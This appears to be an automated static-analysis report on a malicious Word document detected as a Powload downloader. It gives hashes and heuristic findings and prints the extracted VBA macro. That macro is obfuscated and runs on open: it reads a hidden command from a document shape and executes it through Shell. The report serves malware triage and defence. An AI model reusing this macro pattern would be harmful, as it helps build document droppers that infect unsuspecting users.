Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 73aa2afabc1a40a8…

MALICIOUS

Office (OLE)

135.1 KB Created: 2018-12-11 09:49:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: ae3e06235b189c911735d6b0fb7b7903 SHA-1: 4df91ae5b6ec7628833a6d546ef67102dce52fc5 SHA-256: 73aa2afabc1a40a8b6a3146c017a3984c6b548dd58912e058181cd2bd85e97ff
252 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Powload-6827911-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6827911-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
.Shell(tZpBSOp, YiwKOUhdcE), iNwiZmJ)
   nIzlzLjRRwwfGPwUNqdpSL = (211213285 + Round(kVcrOljVzqooWtJv) * 28296831 - rUBEAFmoilwjUbcqB + (ipDjMbiPbKwTjhlBUMHf / Tan(WFZGwWQWMMfsjNPMKH)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub autoopen()
DwQka
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5035 bytes
SHA-256: 81d7e5aa0ee5b497bfe91f5ebfb55a58e543603b11f240ae6a07b051be416b7e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
134 of 175 identifiers look randomly generated (e.g. 'olDfNfVtvkimNrnjXizKXEYw') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "VHFAFRowhP"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
DwQka
End Sub

Attribute VB_Name = "DUIGPqkX"
Function DwQka()
On Error Resume Next
   IOzpGdrzWMwYPmvwOwAbXQ = (61575601 + Round(UjzfoinsjifmztbzjMoa) * 166687881 - RhhArbMsQsFUVWiLJ + (YFohHJwUUDuLbiEESRwnmMf / Tan(RnhfYFTVDvBTbkZYDWGJzFQ)))
QREMNVFMZwPUbRvPjZ = 54968547
   ZPXiilJmQwNNqoMSurMhu = (234738427 + Round(bCJInfFQEUCmMowhYDL) * 233198629 - BKAiPwriihmqpv + (UcVGLjIsoBziwJoijAW / Tan(sJiYjOhamPwXsWMvhFY)))
sRMcQSuZpCDpTVjLwz = 150569958
   pOcRarrqzMmizp = (92621964 + Round(VPnUjRdlVwziqbRHiklczGWs) * 335476405 - rKjInAsHhoKzSXkrvirIzW + (izNDlwPtvVuaTCNJwpjudzhR / Tan(rFKsAqqVOEIZzHISu)))
cYwRpiUtTQbShSvot = 298921295
   loGplaIpKXEzvtYmTJDl = (151952967 + Round(fHjthpEjIBBjVqrCsUVwzSf) * 223335377 - OBUpEYzFuJzGrsSliOCv + (XivRQiPasNbBOSnjr / Tan(dBabjsvAcCLUDc)))
PrTZXnpkfCwXFdZiCnKZup = 315166853
   MJbOFrTLOoOHZcPYzmPl = (239098102 + Round(LWcbowlmPjpqdBPPfBRilvl) * 37470103 - tCEirYWtSwEmiDXZcYhS + (wNIiHNTGIPlWwutjHXISw / Tan(DKdAwuEJWDmuupww)))
KDnJiTPfIisUAZAlnKwEG = 104616061
Set VQGNO = VHFAFRowhP.Shapes(qXCXJh + "FrXXBbPlWaco" + DravSWBXj)
   BjVbUYHYiiiJnYXjzcj = (288618690 + Round(absaNXVTQoNddfnCiBGQdVFj) * 251152949 - vhVzmaAdaEdAHBmFOtRfKsj + (UacbSEWIoVbowRCmdzEi / Tan(duFiYHLSGhCzqiLwZLW)))
VMlZzGzqiCKoBFrjXwtwK = 278761034
   ZTdXfuVAsFSkIZpPvLjTLwp = (148786727 + Round(ZwaSiDVfHfKjdtOG) * 334634703 - cwbpmMrqPFcfbiGKG + (viOCwFBuijSSRNMjMYlkMNb / Tan(nQDbEfZSmTKQBaBWoshIXz)))
OTsSiZVihHZOjBZpzJAfzC = 315146659
   QOjZBnWiihLoViSGSIFCAijO = (182120184 + Round(niAAcocRiJrGAzuPZ) * 80498221 - GdQillELKzifRzkzsd + (FWLDzIPMIFHkJWuVoXvP / Tan(XcSSwiZIQACluGwuZ)))
aVYwGDOYIXcvcwOPi = 306270962
   pCdRJuWzLObWIcYlLdaTzV = (333162951 + Round(AIviNIiNqnicBjr) * 80746834 - LobXAzYdoLOpImUDYQB + (olDfNfVtvkimNrnjXizKXEYw / Tan(YiAOYdPqNnalvJVcih)))
hcbQznjqRrbjMG = 71859009
   iTFiUQzNBAQqEGZuLXzMVHP = (225592457 + Round(VLpEqUnSatotjcCiMJkbOM) * 212729018 - nBUtFXXEXrzEIJLfcYiNl + (fuvdIziHZIfERp / Tan(uMDVkVodzaDwFwpiTwlVawcO)))
ZQRqYDsVjiLarBfrQzD = 35591596
   wzVZNmwHtYnoijlvYCnzmf = (41740816 + Round(zfvPXrObGpmOrzWRZHICjE) * 195912016 - TzHzwmDSshZirhjB + (LhttXEZfWafWDHuB / Tan(wXkRfUmUVJZnZsXHtVXkR)))
vhRZLYvpZihHlMQsjNHZCuzr = 320544954
   MZmGaBvjRzUtZmdkA = (216537239 + Round(iqWbURnSHzYwfPCdmkDF) * 68929527 - tzETQzQjjdFnZXqzS + (njnjtApdWIrAwbUTzYXBBo / Tan(YRurrqinpSOSbb)))
EEdmcHsjjiSFaRaQ = 259155211
   kNsaEtBVKElibvYJwNnaG = (170906443 + Round(aciwrBwnpcWadIOFkq) * 158358767 - dowCWHVqtdPiKsRzZzJUNQv + (FUvAhIDjiismic / Tan(jfFuMMrQkqRfmjDiMsw)))
BMVIlajwcAfTzXZpHWjpNEKJ = 111427079
   QawTvAvQhqlbwaVwE = (7062957 + Round(CdPQZLQQEjLbLzRhbNYM) * 56563000 - BqdAJVYjjGMUGoAKYHikq + (WPZifttkjoUUcZmYBvsX / Tan(FOqqcjRpQhYrUT)))
afqinvZYAlLbXzGjr = 122703699
Const YiwKOUhdcE = 0
   bJpdQlmvnNYLsiamEjriiAjV = (333880191 + Round(OICRVwARSoaYEF) * 54176244 - nGCGlqdFaBozPad + (iNWdtWscKaLlLjbmVa / Tan(ZSsSYfwrTIBCsLHt)))
iiOROavLirutZBdoNDAmuzw = 317538526
   iihWlJsjlIiGFIPERDJFf = (115039645 + Round(aGWZlwOitnaSCrUQFzHCJbtD) * 56151308 - ElTqwENiHPOkGnWZoTiqNN + (mEGXPmwNTQwrdPDqWFUjEBUs / Tan(fkmaYScrnjmpjwvJCv)))
KvtJlcHksdtkjNCjBL = 255530771
   LthiNlLoRzfnSM = (295693242 + Round(VmJUiVNqEImjNQwQ) * 56145889 - UZELrBbWzrbBfZkHWVjTU + (jrZEwbbBzOfksTFJuIsMVV / Tan(DdMzFtdkoNitMmnCA)))
wsMWvhQBNaXaITKcWblcVHWd = 278843405
tZpBSOp = VQGNO.TextFrame.TextRange + jhfiE + sWHFsQX + NOFKi + LRXaqV + whZptFtR + ZTqJqSR + QcQDsI + oUpjHTAI + upkvfOOA + SLiJPCS
   cCCpRhFCwXzLCzQwSVNnQj = (66237813 + Round(NUwtVkUfpihZbv) * 55126517 - IYKbtjZOJZrcUHVtsCbzjM + (NDUVTRrVXNYfsZiGhujkv / Tan(rKiMohZTLFwqwXYKFwSEUPv)))
dUJvuCzblUMJnHdKvDCS = 232236214
   RcniSzHGbGDFszWVwVEsk = (332208448 + Round(cfVBiqpRstwMOtl) * 250628443 - ptTnpzVSvrAEAt + (STKzzwcQlpLMvnIbMjADqiUn / Tan(AiiwpMrAztuimoHMdhzd)))
ZfnPnVAqGowXSzNuRwdTMv = 305665452
   biSjTuVOYJZnJANwSHWojon = (318748418 + Round(tJJBJZwNYDXQQjqjmTEa) * 295453190 - LbEzljsKnuVAakM + (PjcakwpjCXjEtViW / Tan(ozhzKoNVOQcvPIFXZDUzSU)))
lXwNDnQRLzNlnfOFv = 97598160
   YJmSitMPwAwTzqTKiIPmM = (44804386 + Round(YQBvtKJjbUoaKVqlSQi) * 205454690 - AuYWtzMnUIVRhOBdwSEnUXz + (QJorWwVibkXWcZAL / Tan(sHLTIcGpIUwZrWduNFjKUQXm)))
pwriAZRtqbQnrHjiCNcXIj = 90772892
jMlnOah = Array(ROYUUi, ZNaKhzwQv, WSsLw, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(tZpBSOp, YiwKOUhdcE), iNwiZmJ)
   nIzlzLjRRwwfGPwUNqdpSL = (211213285 + Round(kVcrOljVzqooWtJv) * 28296831 - rUBEAFmoilwjUbcqB + (ipDjMbiPbKwTjhlBUMHf / Tan(WFZGwWQWMMfsjNPMKH)))
WkicpKEQvSHQiVHLjia = 91659747
   ipaAdzYHVQnjIll = (317709435 + Round(MBosXwWjcUamtj) * 251530093 - kLRvAspiULKNRLjY + (JwVSMGtDQBczUbj / Tan(UXaUADULJXMlJR)))
lBdkkQtXEXsjrNjAj = 176094986
End Function

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